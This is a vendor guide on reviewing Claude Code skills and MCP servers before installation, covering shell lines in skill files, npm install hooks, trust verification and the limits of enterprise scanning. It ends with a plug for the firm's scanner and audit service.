SameDayDesk guide
Read the files that will run, and the instructions that will be given to the model, before you install a Claude Code skill or an MCP server. Anthropic's help center says the main risks of skills are prompt injection and data exfiltration, and that you should install skills only from sources you trust. Claude Code's security page says Anthropic does not security-audit or manage any MCP server. The MCP specification says tools are arbitrary code execution and that tool descriptions are untrusted unless they come from a trusted server.
Last checked: 2026-09-23.
Claude Code's skills docs, checked 2026-09-23, say every skill has a SKILL.md file. YAML frontmatter between the first --- markers can include a description Claude uses to decide when to load the skill, and an allowed-tools field that lets Claude use those tools without asking during the turn that invokes the skill. The body is instructions. On a skill stored on your machine, a dynamic-context line (an exclamation mark followed by a shell command in backticks) runs that command and inlines the output before Claude sees the file. Read those lines. Do not enable a skill whose shell lines you have not read.
Anthropic's "Use skills in Claude" page, checked 2026-09-23, says to review a less-trusted skill before enabling it, including code, scripts, and any instruction that tells Claude to contact an external network. It names prompt injection and data exfiltration as the primary risks.
Skill and plugin scanning, checked 2026-09-23, is an Enterprise control. The page says it is off by default until 2026-10-02, when it turns on for Enterprise organizations that have not set it. Scanning does not cover MCP servers or hooks. It also does not cover skills shared through a connected MCP server. A pass means that scan did not find the kind of malicious misuse it looks for. The page says a pass is not a guarantee the skill is safe in every respect, and that it will not catch a skill that merely does something you did not intend.
npm's scripts documentation, last edited 2024-02-27, says npm install runs preinstall, install, and postinstall from the package, and that a prepare script in a git dependency runs before that package is installed. Read those fields in package.json before you install a third-party skill or server. npm's own best-practices note says you should almost never need a preinstall or install script except for compilation that must happen on the target machine.
The MCP specification dated 2026-07-28 says the protocol reaches arbitrary data and code execution. Tool descriptions, including annotations, should be considered untrusted unless they come from a trusted server. Hosts must get explicit user consent before invoking a tool, and the user should understand the tool first. The protocol cannot enforce that. The host has to.
Claude Code's security page, checked 2026-09-23, says to write your own MCP servers or use servers from providers you trust. Anthropic reviews connectors against a listing criteria before the directory, and does not security-audit or manage any MCP server. New MCP servers require trust verification. That verification is disabled for non-interactive runs with the -p flag. In Manual mode, review commands before you approve them, and do not pipe untrusted content straight into Claude.
SameDayDesk publishes SkillGuard, a free static scanner. Use it only as a way to surface files to read. It is not Anthropic's enterprise scan, and this guide does not quote a count of malicious packages. After any scanner, still do steps 1 through 4.
Vetting a skill does not tell you whether answer engines cite your site. That is the AI Visibility Audit, the existing offer. This page does not set its price.
Open the AI Visibility Audit